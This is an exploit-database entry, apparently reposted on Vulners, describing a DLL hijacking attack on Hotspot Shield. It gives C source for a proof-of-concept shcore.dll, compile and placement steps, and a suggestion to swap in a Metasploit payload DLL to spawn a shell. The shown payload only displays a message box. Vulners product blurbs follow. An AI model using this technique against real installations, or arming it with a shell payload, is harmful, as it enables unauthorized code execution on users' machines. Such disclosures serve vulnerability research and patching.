`# Exploit Title: Hotspot Shield DLL Hijacking Exploit (shcore.dll )
# Date: 27-8-2016
# Author: Amir.ght
# Vendor Homepage: https://www.hotspotshield.com/
# Software Link:
https://mydati.com/download/hss-win2/HSS-773.exe
# Version:
# Tested on:Windows 7
----------------------------------------------------------------------------------------------------------
# 1. gcc malicious_dll.c -o shcore.dll -shared
# 2. Put shcore.dll in the same directory of Hotspot Shield program
# 3. You can generate a msfpayload DLL and spawn a shell, for example.
----------------------------------------------------------------------------------------------------------
# Exploit:
//gcc malicious_dll.dll -o shcore.dll -shared
//this dll show a message box
#include <windows.h>
#define DllExport __declspec (dllexport)
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}
int dll_hijack()
{
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation